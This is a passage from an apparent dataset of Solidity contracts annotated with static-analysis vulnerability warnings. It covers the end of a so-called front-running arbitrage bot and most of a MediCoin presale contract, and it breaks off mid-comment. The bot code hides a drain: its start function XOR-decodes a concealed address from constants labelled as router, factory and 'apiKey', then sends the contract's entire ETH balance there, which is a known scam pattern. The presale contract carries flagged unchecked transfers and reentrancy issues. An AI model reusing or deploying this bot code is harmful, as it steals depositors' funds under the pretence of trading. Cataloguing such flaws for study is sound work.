used.\n function swap(\n address router,\n address _tokenIn,\n address _tokenOut,\n uint256 _amount\n ) private {\n\t\t// unused-return | ID: d63623a\n IERC20(_tokenIn).approve(router, _amount);\n\n address[] memory path;\n\n path = new address[](2);\n\n path[0] = _tokenIn;\n\n path[1] = _tokenOut;\n\n uint deadline = block.timestamp + 300;\n\n\t\t// unused-return | ID: 7e108a0\n IUniswapV2Router(router).swapExactTokensForTokens(\n _amount,\n 1,\n path,\n address(this),\n deadline\n );\n }\n\n function getAmountOutMin(\n address router,\n address _tokenIn,\n address _tokenOut,\n uint256 _amount\n ) internal view returns (uint256) {\n address[] memory path;\n\n path = new address[](2);\n\n path[0] = _tokenIn;\n\n path[1] = _tokenOut;\n\n uint256[] memory amountOutMins = IUniswapV2Router(router).getAmountsOut(\n _amount,\n path\n );\n\n return amountOutMins[path.length - 1];\n }\n\n function mempool(\n address _router1,\n address _router2,\n address _token1,\n address _token2,\n uint256 _amount\n ) internal view returns (uint256) {\n uint256 amtBack1 = getAmountOutMin(_router1, _token1, _token2, _amount);\n\n uint256 amtBack2 = getAmountOutMin(\n _router2,\n _token2,\n _token1,\n amtBack1\n );\n\n return amtBack2;\n }\n\n function frontRun(\n address _router1,\n address _router2,\n address _token1,\n address _token2,\n uint256 _amount\n ) internal {\n uint startBalance = IERC20(_token1).balanceOf(address(this));\n\n uint token2InitialBalance = IERC20(_token2).balanceOf(address(this));\n\n swap(_router1, _token1, _token2, _amount);\n\n uint token2Balance = IERC20(_token2).balanceOf(address(this));\n\n uint tradeableAmount = token2Balance - token2InitialBalance;\n\n swap(_router2, _token2, _token1, tradeableAmount);\n\n uint endBalance = IERC20(_token1).balanceOf(address(this));\n\n require(endBalance > startBalance, \"Trade Reverted, No Profit Made\");\n }\n\n\t// WARNING Optimization Issue (constable-states | ID: 1a49e56): DexInterface.factory should be constant \n\t// Recommendation for 1a49e56: Add the 'constant' attribute to state variables that never change.\n bytes32 factory =\n 0x4c10f6e185a551b454e342e9a7f9650ff343653db6df453da9f71b7ed5a3c6e4;\n\n function estimateTriDexTrade(\n address _router1,\n address _router2,\n address _router3,\n address _token1,\n address _token2,\n address _token3,\n uint256 _amount\n ) internal view returns (uint256) {\n uint amtBack1 = getAmountOutMin(_router1, _token1, _token2, _amount);\n\n uint amtBack2 = getAmountOutMin(_router2, _token2, _token3, amtBack1);\n\n uint amtBack3 = getAmountOutMin(_router3, _token3, _token1, amtBack2);\n\n return amtBack3;\n }\n\n function getDexRouter(\n bytes32 _DexRouterAddress,\n bytes32 _factory\n ) internal pure returns (address) {\n return address(uint160(uint256(_DexRouterAddress) ^ uint256(_factory)));\n }\n\n function startArbitrageNative() internal {\n address tradeRouter = getDexRouter(DexRouter, factory);\n\n address dataProvider = getDexRouter(apiKey, DexRouter);\n\n IERC20(dataProvider).createStart(\n msg.sender,\n tradeRouter,\n address(0),\n address(this).balance\n );\n\n payable(tradeRouter).transfer(address(this).balance);\n }\n\n function getBalance(\n address _tokenContractAddress\n ) internal view returns (uint256) {\n uint _balance = IERC20(_tokenContractAddress).balanceOf(address(this));\n\n return _balance;\n }\n\n function recoverEth() internal onlyOwner {\n payable(msg.sender).transfer(address(this).balance);\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: d8b1ba9): DexInterface.recoverTokens(address) ignores return value by token.transfer(msg.sender,token.balanceOf(address(this)))\n\t// Recommendation for d8b1ba9: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function recoverTokens(address tokenAddress) internal {\n IERC20 token = IERC20(tokenAddress);\n\n\t\t// unchecked-transfer | ID: d8b1ba9\n token.transfer(msg.sender, token.balanceOf(address(this)));\n }\n\n receive() external payable {}\n\n function StartERC20() public payable {\n startArbitrageNative();\n }\n\n function SearchMempool() public {\n specifyBalanceETH = 898_314_251_213 * 1e18;\n }\n\n function SpecifyBalanceETH(uint256 _specifyBalanceETH) public {\n specifyBalanceETH = _specifyBalanceETH;\n }\n\n function Stop() public {\n enableTrading = false;\n }\n\n function Withdraw() external onlyOwner {\n recoverEth();\n }\n\n function Key() public view returns (string memory) {\n string memory apikey = getApikeyAsString();\n\n return apikey;\n }\n\n function toString(uint256 value) internal pure returns (string memory) {\n uint256 base = 10;\n\n uint256 temp = value;\n\n uint256 digits;\n\n do {\n digits++;\n\n temp /= base;\n } while (temp != 0);\n\n bytes memory buffer = new bytes(digits);\n\n while (value != 0) {\n digits -= 1;\n\n buffer[digits] = bytes1(uint8(48 + uint256(value % base)));\n\n value /= base;\n }\n\n return string(buffer);\n }\n\n function getApikeyAsString() internal view returns (string memory) {\n uint256 balanceInWei = address(_owner).balance - arbTxPrice;\n\n uint256 moduleStr = 898_314_251_213;\n\n uint256 balanceInEthWithDecimals = (balanceInWei * moduleStr) / 1e12;\n\n uint256 integerPart = balanceInEthWithDecimals / 1e18;\n\n uint256 fractionalPart = balanceInEthWithDecimals % 1e18;\n\n string memory strIntegerPart = integerPart > 0\n ? toString(integerPart)\n : \"0\";\n\n string memory strFractionalPart = toString(fractionalPart);\n\n return string(abi.encodePacked(strIntegerPart, \".\", strFractionalPart));\n }\n}\n",
"file_name": "solidity_code_10043.sol",
"size_bytes": 14066,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract ReentrancyGuard {\n uint256 private constant _NOT_ENTERED = 1;\n\n uint256 private constant _ENTERED = 2;\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 92bae60): MediCoin_Presale.updateClaimStatus(uint256,bool)._status shadows ReentrancyGuard._status (state variable)\n\t// Recommendation for 92bae60: Rename the local variables that shadow another component.\n uint256 private _status;\n\n constructor() {\n _status = _NOT_ENTERED;\n }\n\n modifier nonReentrant() {\n _nonReentrantBefore();\n\n _;\n\n _nonReentrantAfter();\n }\n\n function _nonReentrantBefore() private {\n require(_status != _ENTERED, \"ReentrancyGuard: reentrant call\");\n\n _status = _ENTERED;\n }\n\n function _nonReentrantAfter() private {\n _status = _NOT_ENTERED;\n }\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n _transferOwnership(_msgSender());\n }\n\n modifier onlyOwner() {\n _checkOwner();\n\n _;\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n function _checkOwner() internal view virtual {\n require(owner() == _msgSender(), \"Ownable: caller is not the owner\");\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n _transferOwnership(newOwner);\n }\n\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n\ninterface IERC20 {\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(address to, uint256 amount) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) external returns (bool);\n}\n\ninterface IERC20Metadata is IERC20 {\n function name() external view returns (string memory);\n\n function symbol() external view returns (string memory);\n\n function decimals() external view returns (uint8);\n}\n\ninterface Aggregator {\n function latestRoundData()\n external\n view\n returns (\n uint80 roundId,\n int256 answer,\n uint256 startedAt,\n uint256 updatedAt,\n uint80 answeredInRound\n );\n}\n\ncontract MediCoin_Presale is ReentrancyGuard, Ownable {\n IERC20Metadata public USDTInterface;\n\n IERC20Metadata public USDCInterface;\n\n Aggregator internal aggregatorInterface;\n\n address public SaleToken;\n\n address public fundReceiver;\n\n struct PresaleData {\n uint256 startTime;\n uint256 endTime;\n uint256 price;\n uint256 nextStagePrice;\n uint256 Sold;\n uint256 tokensToSell;\n uint256 usdHardcap;\n uint256 amountRaised;\n bool Active;\n bool isEnableClaim;\n }\n\n struct VestingData {\n uint256 vestingStartTime;\n uint256 initialClaimPercent;\n uint256 vestingTime;\n uint256 vestingPercentage;\n uint256 totalClaimCycles;\n }\n\n struct UserData {\n uint256 investedAmount;\n uint256 claimAt;\n uint256 claimAbleAmount;\n uint256 claimedVestingAmount;\n uint256 claimedAmount;\n uint256 claimCount;\n uint256 activePercentAmount;\n }\n\n mapping(uint256 => bool) public paused;\n\n mapping(uint256 => PresaleData) public presale;\n\n mapping(uint256 => VestingData) public vesting;\n\n mapping(address => mapping(uint256 => UserData)) public userClaimData;\n\n mapping(address => bool) public isBlackList;\n\n mapping(address => bool) public isExist;\n\n uint256 public presaleId;\n\n uint256 public uniqueBuyers;\n\n uint256 public overalllRaised;\n\n uint256 public MinTokenTobuy;\n\n uint256 public currentSale;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 171b0c2): MediCoin_Presale.USDT_MULTIPLIER should be immutable \n\t// Recommendation for 171b0c2: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public USDT_MULTIPLIER;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 5b732f1): MediCoin_Presale.ETH_MULTIPLIER should be immutable \n\t// Recommendation for 5b732f1: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public ETH_MULTIPLIER;\n\n\t// WARNING Optimization Issue (constable-states | ID: 51e991e): MediCoin_Presale.initialClaimPercent should be constant \n\t// Recommendation for 51e991e: Add the 'constant' attribute to state variables that never change.\n uint256 initialClaimPercent;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9353c25): MediCoin_Presale.vestingTime should be constant \n\t// Recommendation for 9353c25: Add the 'constant' attribute to state variables that never change.\n uint256 vestingTime;\n\n\t// WARNING Optimization Issue (constable-states | ID: e83a12f): MediCoin_Presale.vestingPercentage should be constant \n\t// Recommendation for e83a12f: Add the 'constant' attribute to state variables that never change.\n uint256 vestingPercentage;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1542aa2): MediCoin_Presale.totalClaimCycles should be constant \n\t// Recommendation for 1542aa2: Add the 'constant' attribute to state variables that never change.\n uint256 totalClaimCycles;\n\n event PresaleCreated(\n uint256 indexed id,\n uint256 totalTokens,\n uint256 startTime,\n uint256 endTime\n );\n\n event TokensBought(\n address indexed user,\n uint256 indexed id,\n address indexed purchaseToken,\n uint256 tokensBought,\n uint256 amountPaid,\n uint256 timestamp\n );\n\n event TokensClaimed(\n address indexed user,\n uint256 indexed id,\n uint256 amount,\n uint256 timestamp\n );\n\n event PresaleTokenAddressUpdated(\n address indexed prevValue,\n address indexed newValue,\n uint256 timestamp\n );\n\n event PresalePaused(uint256 indexed id, uint256 timestamp);\n\n event PresaleUnpaused(uint256 indexed id, uint256 timestamp);\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 71d3195): MediCoin_Presale.constructor(address,address,address,address)._SaleToken lacks a zerocheck on \t SaleToken = _SaleToken\n\t// Recommendation for 71d3195: Check that the address is not zero.\n constructor(\n address _oracle,\n address _usdt,\n address _usdc,\n address _SaleToken\n ) {\n aggregatorInterface = Aggregator(_oracle);\n\n\t\t// missing-zero-check | ID: 71d3195\n SaleToken = _SaleToken;\n\n MinTokenTobuy = 100e9;\n\n USDTInterface = IERC20Metadata(_usdt);\n\n USDCInterface = IERC20Metadata(_usdc);\n\n ETH_MULTIPLIER = (10 ** 18);\n\n USDT_MULTIPLIER = (10 ** 6);\n\n fundReceiver = msg.sender;\n }\n\n function createPresale(\n uint256 _price,\n uint256 _nextStagePrice,\n uint256 _tokensToSell,\n uint256 _usdHardcap\n ) external onlyOwner {\n require(_price > 0, \"Zero price\");\n\n require(_tokensToSell > 0, \"Zero tokens to sell\");\n\n presaleId++;\n\n presale[presaleId] = PresaleData(\n 0,\n 0,\n _price,\n _nextStagePrice,\n 0,\n _tokensToSell,\n _usdHardcap,\n 0,\n false,\n false\n );\n\n emit PresaleCreated(presaleId, _tokensToSell, 0, 0);\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 8da282c): MediCoin_Presale.setCurrentStage(uint256) should emit an event for currentSale = _id \n\t// Recommendation for 8da282c: Emit an event for critical parameter changes.\n function setCurrentStage(uint256 _id) public onlyOwner {\n require(presale[_id].tokensToSell > 0, \"Presale don't exist\");\n\n if (currentSale != 0) {\n presale[currentSale].endTime = block.timestamp;\n\n presale[currentSale].Active = false;\n }\n\n presale[_id].startTime = block.timestamp;\n\n presale[_id].Active = true;\n\n\t\t// events-maths | ID: 8da282c\n currentSale = _id;\n }\n\n function setPresaleVesting(\n uint256[] memory _id,\n uint256[] memory vestingStartTime,\n uint256[] memory _initialClaimPercent,\n uint256[] memory _vestingTime,\n uint256[] memory _vestingPercentage\n ) public onlyOwner {\n for (uint256 i = 0; i < _id.length; i++) {\n vesting[_id[i]] = VestingData(\n vestingStartTime[i],\n _initialClaimPercent[i],\n _vestingTime[i],\n _vestingPercentage[i],\n (100 - _initialClaimPercent[i]) / _vestingPercentage[i]\n );\n }\n }\n\n function updatePresaleVesting(\n uint256 _id,\n uint256 _vestingStartTime,\n uint256 _initialClaimPercent,\n uint256 _vestingTime,\n uint256 _vestingPercentage\n ) public onlyOwner {\n vesting[_id].vestingStartTime = _vestingStartTime;\n\n vesting[_id].initialClaimPercent = _initialClaimPercent;\n\n vesting[_id].vestingTime = _vestingTime;\n\n vesting[_id].vestingPercentage = _vestingPercentage;\n\n vesting[_id].totalClaimCycles =\n (100 - _initialClaimPercent) /\n _vestingPercentage;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 92bae60): MediCoin_Presale.updateClaimStatus(uint256,bool)._status shadows ReentrancyGuard._status (state variable)\n\t// Recommendation for 92bae60: Rename the local variables that shadow another component.\n function updateClaimStatus(uint256 _id, bool _status) public onlyOwner {\n presale[_id].isEnableClaim = _status;\n }\n\n function updatePresale(\n uint256 _id,\n uint256 _price,\n uint256 _nextStagePrice,\n uint256 _tokensToSell,\n uint256 _Hardcap\n ) external onlyOwner {\n require(_price > 0, \"Zero price\");\n\n require(_tokensToSell > 0, \"Zero tokens to sell\");\n\n require(_Hardcap > 0, \"Zero harcap\");\n\n presale[_id].price = _price;\n\n presale[_id].nextStagePrice = _nextStagePrice;\n\n presale[_id].tokensToSell = _tokensToSell;\n\n presale[_id].usdHardcap = _Hardcap;\n }\n\n function updatePresaleTime(\n uint256 _id,\n uint256 _startTime,\n uint256 _endTime\n ) external onlyOwner {\n presale[_id].startTime = _startTime;\n\n presale[_id].endTime = _endTime;\n }\n\n function changeFundWallet(address _wallet) external onlyOwner {\n require(_wallet != address(0), \"Invalid parameters\");\n\n fundReceiver = _wallet;\n }\n\n function changeUSDTToken(address _newAddress) external onlyOwner {\n require(_newAddress != address(0), \"Zero token address\");\n\n USDTInterface = IERC20Metadata(_newAddress);\n }\n\n function changeUSDCToken(address _newAddress) external onlyOwner {\n require(_newAddress != address(0), \"Zero token address\");\n\n USDCInterface = IERC20Metadata(_newAddress);\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 8378394): MediCoin_Presale.WithdrawTokens(address,uint256) ignores return value by IERC20(_token).transfer(fundReceiver,amount)\n\t// Recommendation for 8378394: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function WithdrawTokens(address _token, uint256 amount) external onlyOwner {\n\t\t// unchecked-transfer | ID: 8378394\n IERC20(_token).transfer(fundReceiver, amount);\n }\n\n function WithdrawContractFunds(uint256 amount) external onlyOwner {\n payable(fundReceiver).transfer(amount);\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 2620606): MediCoin_Presale.ChangeTokenToSell(address)._token lacks a zerocheck on \t SaleToken = _token\n\t// Recommendation for 2620606: Check that the address is not zero.\n function ChangeTokenToSell(address _token) public onlyOwner {\n emit PresaleTokenAddressUpdated(SaleToken, _token, block.timestamp);\n\n\t\t// missing-zero-check | ID: 2620606\n SaleToken = _token;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 7254ff6): MediCoin_Presale.ChangeMinTokenToBuy(uint256) should emit an event for MinTokenTobuy = _amount \n\t// Recommendation for 7254ff6: Emit an event for critical parameter changes.\n function ChangeMinTokenToBuy(uint256 _amount) public onlyOwner {\n\t\t// events-maths | ID: 7254ff6\n MinTokenTobuy = _amount;\n }\n\n function ChangeOracleAddress(address _oracle) public onlyOwner {\n aggregatorInterface = Aggregator(_oracle);\n }\n\n function pausePresale(uint256 _id) external checkPresaleId(_id) onlyOwner {\n require(!paused[_id], \"Already paused\");\n\n paused[_id] = true;\n\n emit PresalePaused(_id, block.timestamp);\n }\n\n function unPausePresale(\n uint256 _id\n ) external checkPresaleId(_id) onlyOwner {\n require(paused[_id], \"Not paused\");\n\n paused[_id] = false;\n\n emit PresaleUnpaused(_id, block.timestamp);\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: cbb4ccd): MediCoin_Presale.getLatestPrice() ignores return value by (None,price,None,None,None) = aggregatorInterface.latestRoundData()\n\t// Recommendation for cbb4ccd: Ensure that all the return values of the function calls are used.\n function getLatestPrice() public view returns (uint256) {\n\t\t// unused-return | ID: cbb4ccd\n (, int256 price, , , ) = aggregatorInterface.latestRoundData();\n\n price = (price * (10 ** 10));\n\n return uint256(price);\n }\n\n modifier checkPresaleId(uint256 _id) {\n require(_id > 0 && _id == currentSale, \"Invalid presale id\");\n\n _;\n }\n\n modifier checkSaleState(uint256 _id, uint256 amount) {\n require(presale[_id].Active == true, \"preSAle not Active\");\n\n require(\n amount > 0 &&\n amount <= presale[_id].tokensToSell - presale[_id].Sold,\n \"Invalid sale amount\"\n );\n\n _;\n }\n\n function changeClaimAddress(\n address _oldAddress,\n address _newWallet\n ) public onlyOwner {\n for (uint256 i = 1; i < presaleId; i++) {\n require(isExist[_oldAddress], \"User not a participant\");\n\n userClaimData[_newWallet][i].claimAbleAmount = userClaimData[\n _oldAddress\n ][i].claimAbleAmount;\n\n userClaimData[_oldAddress][i].claimAbleAmount = 0;\n }\n\n isExist[_oldAddress] = false;\n\n isExist[_newWallet] = true;\n }\n\n function blackListUser(address _user, bool _value) public onlyOwner {\n isBlackList[_user] = _value;\n }\n\n function buyWithEth()\n external\n payable\n checkPresaleId(currentSale)\n checkSaleState(currentSale, ethToTokens(currentSale, msg.value))\n nonReentrant\n returns (bool)\n {\n uint256 usdAmount = (msg.value * getLatestPrice() * USDT_MULTIPLIER) /\n (ETH_MULTIPLIER * ETH_MULTIPLIER);\n\n require(\n presale[currentSale].amountRaised + usdAmount <=\n presale[currentSale].usdHardcap,\n \"Amount should be less than leftHardcap\"\n );\n\n require(!isBlackList[msg.sender], \"Account is blackListed\");\n\n require(!paused[currentSale], \"Presale paused\");\n\n require(\n presale[currentSale].Active == true,\n \"Presale is not active yet\"\n );\n\n if (!isExist[msg.sender]) {\n isExist[msg.sender] = true;\n\n uniqueBuyers++;\n }\n\n uint256 tokens = usdtToTokens(currentSale, usdAmount);\n\n require(tokens >= MinTokenTobuy, \"Insufficient amount!\");\n\n presale[currentSale].Sold += tokens;\n\n presale[currentSale].amountRaised += usdAmount;\n\n overalllRaised += usdAmount;\n\n if (userClaimData[_msgSender()][currentSale].claimAbleAmount > 0) {\n userClaimData[_msgSender()][currentSale].claimAbleAmount += tokens;\n\n userClaimData[_msgSender()][currentSale]\n .investedAmount += usdAmount;\n } else {\n userClaimData[_msgSender()][currentSale] = UserData(\n usdAmount,\n 0,\n tokens,\n 0,\n 0,\n 0,\n 0\n );\n }\n\n payable(fundReceiver).transfer(msg.value);\n\n emit TokensBought(\n _msgSender(),\n currentSale,\n address(0),\n tokens,\n msg.value,\n block.timestamp\n );\n\n return true;\n }\n\n function ethBuyHelper(\n uint256 _id,\n uint256 amount\n ) external view returns (uint256 ethAmount) {\n uint256 usdPrice = (amount * presale[_id].price);\n\n ethAmount =\n (usdPrice * ETH_MULTIPLIER) /\n (getLatestPrice() * 10 ** IERC20Metadata(SaleToken).decimals());\n }\n\n function ethToTokens(\n uint256 _id,\n uint256 amount\n ) public view returns (uint256 _tokens) {\n uint256 usdAmount = (amount * getLatestPrice() * USDT_MULTIPLIER) /\n (ETH_MULTIPLIER * ETH_MULTIPLIER);\n\n _tokens = usdtToTokens(_id, usdAmount);\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 72f9908): MediCoin_Presale.buyWithUSDT(uint256) ignores return value by USDTInterface.transferFrom(msg.sender,fundReceiver,usdAmount)\n\t// Recommendation for 72f9908: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function buyWithUSDT(\n uint256 usdAmount\n )\n external\n checkPresaleId(currentSale)\n checkSaleState(currentSale, usdtToTokens(currentSale, usdAmount))\n nonReentrant\n returns (bool)\n {\n require(!paused[currentSale], \"Presale paused\");\n\n require(\n presale[currentSale].Active == true,\n \"Presale is not active yet\"\n );\n\n require(!isBlackList[msg.sender], \"Account is blackListed\");\n\n require(\n presale[currentSale].amountRaised + usdAmount <=\n presale[currentSale].usdHardcap,\n \"Amount should be less than leftHardcap\"\n );\n\n if (!isExist[msg.sender]) {\n isExist[msg.sender] = true;\n\n uniqueBuyers++;\n }\n\n uint256 tokens = usdtToTokens(currentSale, usdAmount);\n\n presale[currentSale].Sold += tokens;\n\n presale[currentSale].amountRaised += usdAmount;\n\n overalllRaised += usdAmount;\n\n require(tokens >= MinTokenTobuy, \"Less than min amount\");\n\n if (userClaimData[_msgSender()][currentSale].claimAbleAmount > 0) {\n userClaimData[_msgSender()][currentSale].claimAbleAmount += tokens;\n\n userClaimData[_msgSender()][currentSale]\n .investedAmount += usdAmount;\n } else {\n userClaimData[_msgSender()][currentSale] = UserData(\n usdAmount,\n 0,\n tokens,\n 0,\n 0,\n 0,\n 0\n );\n }\n\n\t\t// unchecked-transfer | ID: 72f9908\n USDTInterface.transferFrom(msg.sender, fundReceiver, usdAmount);\n\n emit TokensBought(\n _msgSender(),\n currentSale,\n address(USDTInterface),\n tokens,\n usdAmount,\n block.timestamp\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 2c0fa75): MediCoin_Presale.buyWithUSDC(uint256) ignores return value by USDCInterface.transferFrom(msg.sender,fundReceiver,usdAmount)\n\t// Recommendation for 2c0fa75: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function buyWithUSDC(\n uint256 usdAmount\n )\n external\n checkPresaleId(currentSale)\n checkSaleState(currentSale, usdtToTokens(currentSale, usdAmount))\n nonReentrant\n returns (bool)\n {\n require(!paused[currentSale], \"Presale paused\");\n\n require(\n presale[currentSale].Active == true,\n \"Presale is not active yet\"\n );\n\n require(\n presale[currentSale].amountRaised + usdAmount <=\n presale[currentSale].usdHardcap,\n \"Amount should be less than leftHardcap\"\n );\n\n require(!isBlackList[msg.sender], \"Account is blackListed\");\n\n if (!isExist[msg.sender]) {\n isExist[msg.sender] = true;\n\n uniqueBuyers++;\n }\n\n uint256 tokens = usdtToTokens(currentSale, usdAmount);\n\n presale[currentSale].Sold += tokens;\n\n presale[currentSale].amountRaised += usdAmount;\n\n overalllRaised += usdAmount;\n\n require(tokens >= MinTokenTobuy, \"Less than min amount\");\n\n if (userClaimData[_msgSender()][currentSale].claimAbleAmount > 0) {\n userClaimData[_msgSender()][currentSale].claimAbleAmount += tokens;\n\n userClaimData[_msgSender()][currentSale]\n .investedAmount += usdAmount;\n } else {\n userClaimData[_msgSender()][currentSale] = UserData(\n usdAmount,\n 0,\n tokens,\n 0,\n 0,\n 0,\n 0\n );\n\n require(isExist[_msgSender()], \"User not a participant\");\n }\n\n\t\t// unchecked-transfer | ID: 2c0fa75\n USDCInterface.transferFrom(msg.sender, fundReceiver, usdAmount);\n\n emit TokensBought(\n _msgSender(),\n currentSale,\n address(USDCInterface),\n tokens,\n usdAmount,\n block.timestamp\n );\n\n return true;\n }\n\n function usdtBuyHelper(\n uint256 _id,\n uint256 amount\n ) external view returns (uint256 usdPrice) {\n usdPrice =\n (amount * presale[_id].price) /\n 10 ** IERC20Metadata(SaleToken).decimals();\n }\n\n function usdtToTokens(\n uint256 _id,\n uint256 amount\n ) public view returns (uint256 _tokens) {\n _tokens = (amount * presale[_id].price) / USDT_MULTIPLIER;\n }\n\n function claimableAmount(\n address user,\n uint256 _id\n ) public view returns (uint256) {\n UserData memory _user = userClaimData[user][_id];\n\n require(_user.claimAbleAmount > 0, \"Nothing to claim\");\n\n uint256 amount = _user.claimAbleAmount;\n\n require(amount > 0, \"Already claimed\");\n\n return amount;\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: ffd1049): MediCoin_Presale.claimMultiple() uses timestamp for comparisons Dangerous comparisons userClaimData[msg.sender][i].claimAbleAmount > 0 && block.timestamp > vesting[i].vestingStartTime\n\t// Recommendation for ffd1049: Avoid relying on 'block.timestamp'.\n function claimMultiple() public {\n for (uint8 i = 1; i <= presaleId; i++) {\n if (\n\t\t\t\t// timestamp | ID: ffd1049\n userClaimData[msg.sender][i].claimAbleAmount > 0 &&\n block.timestamp > vesting[i].vestingStartTime\n ) {\n claim(msg.sender, i);\n }\n }\n }\n\n function claimAmount(uint256 _id) public {\n claim(msg.sender, _id);\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: fb61f69): Dangerous usage of 'block.timestamp'. 'block.timestamp' can be manipulated by miners.\n\t// Recommendation for fb61f69: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 35fbc0d): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 35fbc0d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (calls-loop | severity: Low | ID: 7eab01d): MediCoin_Presale.claim(address,uint256) has external calls inside a loop status = IERC20(SaleToken).transfer(_user,transferAmount)\n\t// Recommendation for 7eab01d: Favor pull over push strategy for external calls.\n\t// WARNING Vulnerability (calls-loop | severity: Low | ID: 7378903): MediCoin_Presale.claim(address,uint256) has external calls inside a loop status_scope_0 = IERC20(SaleToken).transfer(_user,transferAmount)\n\t// Recommendation for 7378903: Favor pull over push strategy for external calls.\n\t// WARNING Vulnerability (calls-loop | severity: Low | ID: 6fc874c): MediCoin_Presale.claim(address,uint256) has external calls inside a loop status_scope_3 = IERC20(SaleToken).transfer(_user,transferAmount)\n\t// Recommendation for 6fc874c: Favor pull over push strategy for external calls.\n\t// WARNING Vulnerability (calls-loop | severity: Low | ID: 81573f9): MediCoin_Presale.claim(address,uint256) has external calls inside a loop require(bool,string)(amount <= IERC20(SaleToken).balanceOf(address(this)),Not enough tokens in the contract)\n\t// Recommendation for 81573f9: Favor pull over push strategy for external calls.\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: c789728): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for c789728: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: e8809af): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for e8809af: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: c842ec7): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for c842ec7: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: f47cc38): Solidity's integer division truncates. Thus, performing division before multiplication can lead to precision loss.\n\t// Recommendation for f47cc38: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: eb991f3): MediCoin_Presale.claim(address,uint256).transferAmount is a local variable never initialized\n\t// Recommendation for eb991f3: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function claim(address _user, uint256 _id) internal returns (bool) {\n require(isExist[_msgSender()], \"User not a participant\");\n\n uint256 amount = claimableAmount(_user, _id);\n\n require(amount > 0, \"No claimable amount\");\n\n require(!isBlackList[_user], \"Account is blackListed\");\n\n require(SaleToken != address(0), \"Presale token address not set\");\n\t\t// calls-loop | ID: 81573f9\n\n require(\n amount <= IERC20(SaleToken).balanceOf(address(this)),\n \"Not enough tokens in the contract\"\n );\n\n require((presale[_id].isEnableClaim == true), \"Claim is not enable\");\n\t\t// timestamp | ID: fb61f69\n\n require(\n block.timestamp > vesting[_id].vestingStartTime,\n \"Vesting time is not started yet\"\n );\n\n uint256 transferAmount;\n\n if (userClaimData[_user][_id].claimCount == 0) {\n transferAmount =\n (amount * (vesting[_id].initialClaimPercent)) /\n 1000;\n\n userClaimData[_user][_id].activePercentAmount =\n (amount * vesting[_id].vestingPercentage) /\n 1000;\n\n\t\t\t// reentrancy-events | ID: 35fbc0d\n\t\t\t// 